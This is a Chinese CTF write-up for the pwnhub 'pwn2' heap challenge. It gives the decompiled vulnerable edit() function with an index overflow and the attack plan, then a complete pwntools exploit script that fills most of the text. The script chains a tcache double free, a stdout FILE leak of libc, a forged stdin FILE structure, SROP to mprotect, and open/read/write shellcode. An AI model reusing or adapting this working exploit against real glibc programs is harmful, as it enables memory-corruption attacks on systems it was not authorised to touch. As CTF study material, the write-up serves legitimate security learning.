pwnhub[11月公开赛] pwn2

先说漏洞

edit函数中存在下标溢出,刚好能覆盖到chunk[0]

1
2
3
4
5
6
7
8
9
10
11
12
int edit()
{
signed int idx; // [rsp+Ch] [rbp-4h]

puts("index:");
idx = read_int();
if ( idx < 0 || idx > 17 || !*qword_4050[idx].chunk ) //idx=17时,溢出
return puts("nonono");
puts("conttent:");
read(0, *qword_4050[idx].chunk, 0x300uLL);
return 0;
}

再说一下限制

1、禁用了hook函数

1
2
3
4
5
6
7
8
9
10
11
void (*sub_1269())(void *ptr, const void *)
{
void (*result)(void *, const void *); // rax

if ( _malloc_hook || (result = _free_hook) != 0LL )
{
puts("oo.");
exit(0);
}
return result;
}

2、没有show函数可以泄漏地址

攻击思路

free 4个chunk到tcachebin中,然后编辑 iex=17处进行局部爆破,使其两个指针指向chunk0

6

构造出double free后就可实现任意地址写

爆破IO泄漏libc地址

之后攻击 stdin 结构体,通过exit(0)触发进行ORW攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.arch = 'amd64'
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# p = process(argv=['',pay])
# p = process(["./ld.so","./easygame"],env={"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x4050))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(">>",str(idx))
def add(idx):
choice(1)
sla("index:",str(idx))
def delete(idx):
choice(2)
sla("index:",str(idx))
def edit(idx,data):
choice(3)
sla("index:",str(idx))
sda("conttent:",data)

add(0)
add(1)
add(2)
add(3)
delete(3)
delete(2)
delete(1)
delete(0)
edit(17,'\x40\x94')

add(16) #=14
add(15) #=13
edit(15,p64(0))
add(14) #=16
add(13) #=15

add(0)
add(1) # tool chunk
delete(0)
delete(13)
edit(15,'\x30\x94')
add(0)
add(13) #14 and 16's head
edit(13,p64(0)+p64(0x311))
delete(1)
delete(14)
edit(13,p64(0)+p64(0x310*3+1))
delete(16)
edit(13,p64(0)+p64(0x310*3+1)+b'\xa0\xa6')

add(1)
add(2) #stdout
edit(2,p64(0xfbad1800)+p64(0)*3+b'\x00')
# edit(2,p64(0xfbad1887)+p64(0)*3+b'\x00')
stdin = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = stdin - libc.sym['_IO_2_1_stdin_']
malloc_hook = libc_base + libc.sym['__malloc_hook']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
main_arena = malloc_hook + 0x10
edit(13,p64(0)+p64(0x310*3+1)+p64(main_arena+96)*2)
leak("libc_base",libc_base)

add(3)
add(4) #=15
add(5)
delete(5)
delete(4)
edit(15,p64(stdin))
add(4)
add(5) #stdin

vtable = libc_base + 0x1ed560
malloc_hook_base=malloc_hook&0xfffffffffffff000 #内存页对齐
setcontext = libc_base + libc.sym['setcontext']
# _IO_flush_all_lockp+255
# _IO_cleanup+36
fake_io = p64(0xfbad1800) #flag
fake_io += p64(0) #_IO_read_ptr
fake_io += p64(0) #_IO_read_end
fake_io += p64(0) #_IO_read_base
fake_io += p64(0) #_IO_write_base
fake_io += p64(stdin+0xe0) #_IO_write_ptr
fake_io += p64(0) #_IO_write_end
fake_io += p64(0) #_IO_buf_base
fake_io += p64(0) #_IO_buf_end
fake_io += p64(0) #_IO_save_base
fake_io += p64(0) #_IO_backup_base
fake_io += p64(0) #_IO_save_end
fake_io += p64(0) #_markers
fake_io += p64(0) #_chain
fake_io += p64(0) #_fileno
fake_io += p64(0) #_flags2
fake_io += p64(0) #_old_offset
fake_io += p64(0) #_cur_column
fake_io += p64(0) #_vtable_offset
fake_io += p64(0) #_shortbuf
fake_io += p64(0) #_lock
fake_io += p64(0) #_offset
fake_io += p64(0) #_codecvt
fake_io += p64(0) #_wide_data
fake_io += p64(0) #_freeres_list
fake_io += p64(0) #_freeres_buf
fake_io += p64(0) #__pad5
fake_io += p64(vtable) #vtable

srop_mprotect = SigreturnFrame()
srop_mprotect.rsp = malloc_hook + 0x8
srop_mprotect.rdi = malloc_hook_base
srop_mprotect.rsi = 0x1000
srop_mprotect.rdx = 7
srop_mprotect.rip = libc_base + libc.sym['mprotect']
chunk_edit = bytes(srop_mprotect)

shellcode = '''
xor rsi,rsi
mov rax,SYS_open
call start
.string "./flag"
start:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rax,SYS_write
syscall
'''
__malloc_hook_edit = p64(setcontext+61) + p64(malloc_hook+0x10) + asm(shellcode)
pay = fake_io + chunk_edit + p64(0)*3 + __malloc_hook_edit

# edit(2,p64(0xfbad1800) + p64(stdout+131)*8)
# debug(0x12a0)
edit(5,pay)

# debug()

p.interactive()
0%